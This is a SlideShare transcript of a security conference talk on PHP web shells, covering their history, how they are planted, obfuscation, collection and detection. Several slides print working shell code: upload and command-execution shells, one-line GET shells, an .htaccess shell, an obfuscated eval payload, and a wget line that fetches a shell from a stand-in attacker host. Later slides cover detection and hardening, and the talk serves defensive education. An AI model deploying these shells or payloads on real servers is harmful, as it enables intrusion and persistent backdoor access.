TakeDownCon Rocket City: WebShells by Adrian Crenshaw


Published on

Published in: Technology, Design
1 Like
  • Be the first to comment

No Downloads
Total views
On SlideShare
From Embeds
Number of Embeds
Embeds 0
No embeds

No notes for slide
  • Take a note from Johnny Long’s book, and Bruce Potter’s book.
  • Beg for hardwaredonations. 
  • TakeDownCon Rocket City: WebShells by Adrian Crenshaw

    1. 1. History, Techniques, Obfuscation and Automated Collection Adrian Crenshaw http://Irongeek.com
    2. 2.      I run Irongeek.com I have an interest in InfoSec education I don’t know everything - I’m just a geek with time on my hands Sr. Information Security Engineer at Diebold, doing managed services and pen-test work Co-Founder of Derbycon http://www.derbycon.com http://Irongeek.com Twitter: @Irongeek_ADC
    3. 3.   Scripts that act as back doors for maintaining access Common tasks:         File Management Command line access Database server access Bruteforcing Network Scanning Pivots Versions for all sorts of web development environments: PHP, ASP.NET, JSP, etc. Think of it as a RAT (Remote Access Tool/Trojan) for the web http://Irongeek.com
    4. 4.   I wanted to be like Jason Scott…and failed Attribution is hard     Old security warning from 1994 http://techpubs.sgi.com/library/dynaweb_docs/0620/SGI_Developer /books/NetscapeSrv_PG/sgi_html/ch01.html Versions of C99 labled “!C99Shell v. 1.0 beta (21.05.2005)!” Search for c99shell before 1/01/2005 turns up plenty of shells, but not historical information Seems to tie to 7/26/1997 (Jul 26, 1997)  filetype:txt PHP daterange:2450654-2450656 http://Irongeek.com
    5. 5.  My first experiences were at a school where we could put up homepages that used PHP   shell_exec($command) for the win! Shoveling a Shell using PHP Insecurities (2/12/2004) http://www.irongeek.com/i.php?page=security/phpshell  I’ve been pwned by them before http://Irongeek.com
    6. 6.       File upload vulnerabilities Insecure FTP Command Injection Remote File Includes/Local File Includes Exploits on other sites on the same shared host Other Exploits   SQL Injection Vulnerable services http://Irongeek.com
    7. 7. 1. Client makes a request to a site with an RFI vulnerability 2. Vulnerable web server grabs malicious file off of another server 3. File is included in code executed on the vulnerable web server 4. Attacker then executes commands on the remote vulnerable web server, uploads different shells, grabs files, etc. http://Irongeek.com
    8. 8.    Set browser’s user agent to: <?php system(‘wget http://attackerssite.com/shell.txt -O shell.php’);?> LFI with: http://somesite.com/index.php?page=../../../../pro c/self/environ More at http://www.brianhaddock.com/2011/gaining-shellaccess-via-local-file-inclusion-vulnerabilities http://Irongeek.com
    9. 9.         C99 C100 r57 Fx29SheLL PLaToShell b374k WSO Weevely http://Irongeek.com
    10. 10.    Started as a project to show off web vulnerabilities Like WebGoat, but designed to be easier to use and PHP based I started it, but Jeremy Druin is in charge of it now and has way more code in it than I do http://Irongeek.com
    11. 11. <FORM ENCTYPE="multipart/form-data" ACTION="<?php echo "http://" . $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];?>" METHOD="POST"> Send this file: <INPUT NAME="userfile" TYPE="file"> <INPUT TYPE="submit" VALUE="Send"> </FORM> <?php if ($_FILES["userfile"]["error"] > 0){ echo "Error: " . $_FILES["userfile"]["error"] . "<br>"; }else{ if ($_FILES["userfile"]["name"] != ""){ echo "Upload: " . $_FILES["userfile"]["name"] . "<br>"; echo "Type: " . $_FILES["userfile"]["type"] . "<br>"; echo "Size: " . ($_FILES["userfile"]["size"] / 1024) . " kB<br>"; echo "Stored in: " . $_FILES["userfile"]["tmp_name"] . "<br>"; if (move_uploaded_file($_FILES["userfile"]["tmp_name"], $_FILES["userfile"]["name"])){ echo "Moved to: " . getcwd() . "/" . $_FILES["userfile"]["name"]; }else{ echo '<font color="$FF0000">Upload failed, may not have permission.</font>'; }}} #Based on examples from: http://www.w3schools.com/php/php_file_upload.asp ?> http://Irongeek.com
    12. 12. <HTML><BODY> <FORM METHOD="post" ACTION="<?php echo "http://" . $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];?>"> <INPUT TYPE="TEXT" NAME="command"> <INPUT TYPE="Submit"> </FORM> <PRE> <?php $command = str_replace("","",$_POST[command]); echo "<B>Results for $command: </B><P>"; $results = str_replace("<","&lt;",shell_exec($command)); $results = str_replace(">","&gt;",$results); echo $results; ?> </PRE> </BODY></HTML> http://Irongeek.com
    13. 13.     Example 1: <?=($_=@$_GET[2]).@$_($_GET[1])?> Example 2: <?echo `$_GET[1]`?> Could not get these to RFI Inspired By Fredrik Almroth http://h.ackack.net/2011/09/tiny-php-shell/ http://Irongeek.com
    14. 14. RFI the uploader 1.   2. Simpler Smaller Upload a shell http://Irongeek.com
    15. 15.     Repositories http://www.sh3ll.org http://www.r57.gen.tr http://c99.gen.tr http://c99php.com https://github.com/nikicatg/web-malwarecollection/tree/master/Backdoors Laudanum (shell, proxy, DNS recon, reverse shell) http://laudanum.secureideas.net Kali Linux Look in  /usr/share/webshells under platform folders aspx, cfm, jsp, perl and php My Script http://irongeek.com/i.php?page=webshells-and-rfis http://Irongeek.com
    16. 16.    Ran periodically by a cron job Reads lines from recent access logs Greps for likely RFIs, then adds them to old unique RFIs and makes sure they are still unique       Request contains “=http://” (and https) Requested file ends in txt|.inc|.dat|.bak Checks to see if they are still active Outputs the attacker IP, whois link, URL to webshell, referer, time, etc. Saves uniques for later If it does not error out, and the file does not exist, it makes an archive copy http://Irongeek.com
    17. 17. Why not let the hosting site know they are serving a shell? User Agent String:  Hello, I'm not attacking your site, but someone else tried using this file on your server as an RFI against my site. Contact Irongeek at Irongeek.com for more details http://www.irongeek.com/i.php?page=webshells-and-rfi http://Irongeek.com
    18. 18.    Uploaders General Webshells Testers/IDers   Search Engine Spammers   Just show the links to search engines based on user agent strings to get higher ranking via back links Booters    Just emails the attacker that a site in vulnerable, maybe gives a bit of information about the system Botnets based on webshells Webservers generally have more bandwidth than workstations Local rooters  Elevate privileges using local exploits http://Irongeek.com
    19. 19.      gzinflate() / gzdeflate() Meant to allow for compressed data base64_decode() / base64_encode() Meant to allow for binary data to me stored as printable ASCII Others: str_rot13() / rawurlencode() / strrev() Truncated example: <? eval(gzinflate(base64_decode('pZL ….OyA=')); ?> Useful decoder: https://defense.ballastsecurity.net/decoding/ http://Irongeek.com
    20. 20. echo '<HTML><BODY><FORM METHOD="post" ACTION="'."http://" . $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI].'"><INPUT TYPE="TEXT" NAME="command"><INPUT TYPE="Submit"></FORM><PRE>'; $command = str_replace("","",$_POST[command]); echo "<B>Results for $command: </B><P>"; $results = str_replace("<","&lt;",shell_exec($command)); $results = str_replace(">","&gt;",$results); echo $results; echo "</PRE></BODY></HTML>"; Run through http://www.mobilefish.com/services/php_obfuscator/php_obfuscator.php <?php eval(gzinflate(base64_decode(str_rot13('qMSsn4ZjSZKs+lxhS5xIve7KTXue ufY8fkwUFvsFhJjBqVdzfV+/XNdwfQlR5CV7557YyIKqtHxPRG1F4vsURlHCPL 8tLvWVwu723ntDQipvGTVCGEgecsd94lQLLWDM48+Za81NvYDZxxlLkq86 M085l0FM87PjGnDxwAAptQvymRCOKtEPsVw0h+en9iY9sxAx17s2F+zvZ0J vWBJZzh7TJTwjLSEQBpv+hIElv6/64N6alluGUrn8tVKyjxMBtlYkXMswgIRws UDQeSM7VV6iT1QH9fZP3AtG7K3KXOq3Ll2occD/fgdhOco1i5OBjf9WhOVn ahBfs3qA50jw6vwmUck5Xrw+Nt==')))); ?> http://Irongeek.com
    21. 21.    GET is in the URL, POST is in the request headers POST method less likely to be logged than GET With a custom client, stealth commands via:    Cookie headers Non-cookie headers Multiple levels of obfuscation making it computationally expensive to decode http://Irongeek.com
    22. 22.       Available at: http://code.google.com/p/b374k-shell/ Simple “Polymorphic” version Database functionality Process explorer Reverse and bind shells http://Irongeek.com
    23. 23.              Available at: https://github.com/epinna/Weevely Tiny, encrypted, communication over cookies, tons of modules: Enumerate users and /etc/passwd content Check php security configurations Crawl and enumerate web folders files permissions Find wrong system files permissions Guess files with wrong permissions in users home folders Bruteforce all SQL users Bruteforce SQL username Collect system informations Send reverse TCP shell Open a shell on TCP port Execute system shell command http://Irongeek.com             Execute PHP statement Mount remote filesystem using HTTPfs Change file timestamps Remove remote files and folders Get SQL database dump Run SQL console or execute single queries Install and run Proxy to tunnel traffic through target Print interfaces addresses Port scan open TCP ports Install remote PHP proxy Find files with write Find files with superuser flags
    24. 24. # <!-- Self contained .htaccess web shell - Part of the htshell project # Written by Wireghoul - http://www.justanotherhacker.com # Override default deny rule to make .htaccess file accessible over web <FilesEmbed it in other scripts code that is already on  ~ "^.ht"> Order allow,deny site Allow from all  Put </Files> in an .htaccess file the See Eldar “Wireghoul” Marcussen’s work: # Make .htaccess file be interpreted as php file. This occur after apache has https://github.com/wireghoul/htshells interpreted # the apache directoves from the .htaccess file AddType application/x-httpd-php .htaccess ###### SHELL ###### <?php echo "--><form method='get'><input type='text' name='c' value='".$_GET['c']."'><input type='submit' name='go' value='Go!'></form>n<pre>";passthru($_GET['c']." 2>&1");echo "</pre>"; ?> http://Irongeek.com
    25. 25.  Attackers don’t want others finding their shells and using them <?php if(preg_match("/bot/", $_SERVER[HTTP_USER_AGENT])) {header("HTTP/1.0 404"); exit("<h1>Not Found</h1>");}… http://Irongeek.com
    26. 26. //Example from Laudanum $allowedIPs = array("", ""); $allowed = 0; foreach ($allowedIPs as $IP) { if ($_SERVER["REMOTE_ADDR"] == $IP) $allowed = 1; } if ($allowed == 0) { header("HTTP/1.0 404 Not Found"); die(); } http://Irongeek.com
    27. 27.  How well do the think that will work for them? <?php // This file is protected by copyright law and provided under license. Reverse engineering of this file is strictly prohibited. … http://Irongeek.com
    28. 28. http://Irongeek.com
    29. 29.   Ugly, but works: grep -i "=http://" access.log | grep -i ".txt|.inc.|.dat" May like my script better http://Irongeek.com
    30. 30.    Look for “bad” functions grep -RPnl "(gzinflate|eval|base64_decode)" /var/www/ No perfect list Many false positives http://Irongeek.com
    31. 31.    AV will mostly miss them PHP-Shell-Detector Just signature based to my knowledge Scans: php/perl/asp/aspx https://github.com/emposha/PHP-Shell-Detector NeoPI Detects on Signatures, Entropy, Longest Word and Index of Coincidence Scans: php/asp/aspx/sh/bash/zsh/csh/tsch/pl/py/cgi/cfm https://github.com/Neohapsis/NeoPI http://Irongeek.com
    32. 32.    Grep PHP-Shell-Detector NeoPI http://Irongeek.com
    33. 33. http://Irongeek.com
    34. 34. http://Irongeek.com
    35. 35.       Defaults may be ok, but stuff happens Test installs like XAMPP may be ran as the user Moving files from one place to another can have unintended consequences Shared hosting may have your site running under your account, giving scripts permission to your files Check for writable files? find /var/www/ -user www-data -perm -u=w –ls find /var/www/ -perm -2 -ls Use with caution, just for world writeables: find /var/www -type d -exec chmod 2775 {} + find /var/www -type f -exec chmod 0664 {} + http://Irongeek.com
    36. 36. Much of the following text copied from /etc/php5/apache2/php.ini http://Irongeek.com
    37. 37.     Allow ASP-style <% %> tags. asp_tags = Off http://php.net/asp-tags PHP Banner in web server header expose_php = On http://php.net/expose-php Whether to allow HTTP file uploads. file_uploads = On http://php.net/file-uploads Display Errors display_errors = On http://php.net/display-errors http://Irongeek.com
    38. 38.    Whether to allow the treatment of URLs (like http:// or ftp://) as files. allow_url_fopen = On http://php.net/allow-url-fopen Whether to allow include/require to open URLs (like http:// or ftp://) as files. (Off by default in now.) allow_url_include = Off http://php.net/allow-url-include Disable easily abused functions disable_functions=system,exec,passthru,shell_exec http://php.net/manual/en/ini.core.php#ini.disablefunctions http://Irongeek.com
    39. 39.      “DEPRECATED as of PHP 5.3.0 and REMOVED as of PHP 5.4.0” Many functions modified so UID of the script and the files/directories operated on are the same. Some functions like shell_exec() disabled Others like exec() system() require the executable to be in safe_mode_exec_dir Way more details here: http://www.php.net/manual/en/features.safemode.functions.php http://Irongeek.com
    40. 40.      Host based WAF Available at: http://www.modsecurity.org modsecurity_crs_45_trojans.conf Changed my config to: SecRuleEngine On SecDefaultAction "phase:4,deny,log,status:500“ Signature based, so same rule applies as AV http://Irongeek.com
    41. 41.    Turn off Directory indexing Add this to .htaccess file or Directory configs: Options -Indexes An example of why: http://www.google.com/?q=intitle:index.of+c99.txt http://Irongeek.com
    42. 42.   Shared Hosting MD5 Change Detection Script http://www.irongeek.com/i.php?page=security/sha red-hosting-md5-change-detection-script Script To Grep For RFI, Webshells, Password Grabs, Web Scanners, Etc. http://www.irongeek.com/i.php?page=security/log watch-script-grep-for-rfis-webscanners-webshellattacks http://Irongeek.com
    43. 43.       Writing a stealth web shell and .htaccess shells by Eldar “Wireghoul” Marcussen http://www.justanotherhacker.com/2011/12/writing-a-stealth-web-shell.html http://www.justanotherhacker.com/projects/htshells/ Effectiveness of Antivirus in Detecting Web Application Backdoors by Rahul “FB1H2S” Sasi http://www.exploit-db.com/wp-content/themes/exploit/docs/16082.pdf Detecting Obfuscated Web Shells Talk by Scott Behrens http://www.youtube.com/watch?v=gRSKuAS71pI Web Shell Detection Using NeoPI by Scott Behrens and Ben Hagen http://resources.infosecinstitute.com/web-shell-detection/ Threat: DDoS Booter Shell Scripts http://www.prolexic.com/pdf/Prolexic_Threat_Advisory_DDoS_Booter_Scripts_ 052612.pdf Booting the Booters, Stressing the Stressors - Allison Nixon and Brandon Leven http://www.irongeek.com/i.php?page=videos/bsidesri2013/2-0-booting-thebooters-stressing-the-stressors-allison-nixon-and-brandon-levene http://Irongeek.com
    44. 44. Derbycon Sept 25th-29th, 2013 Derbycon Art Credits to DigiP Photo Credits to KC (devauto) http://www.derbycon.com Others http://www.louisvilleinfosec.com http://skydogcon.com http://hack3rcon.org http://Irongeek.com http://outerz0ne.org http://phreaknic.info http://notacon.org
    45. 45. 42 Twitter: @Irongeek_ADC http://Irongeek.com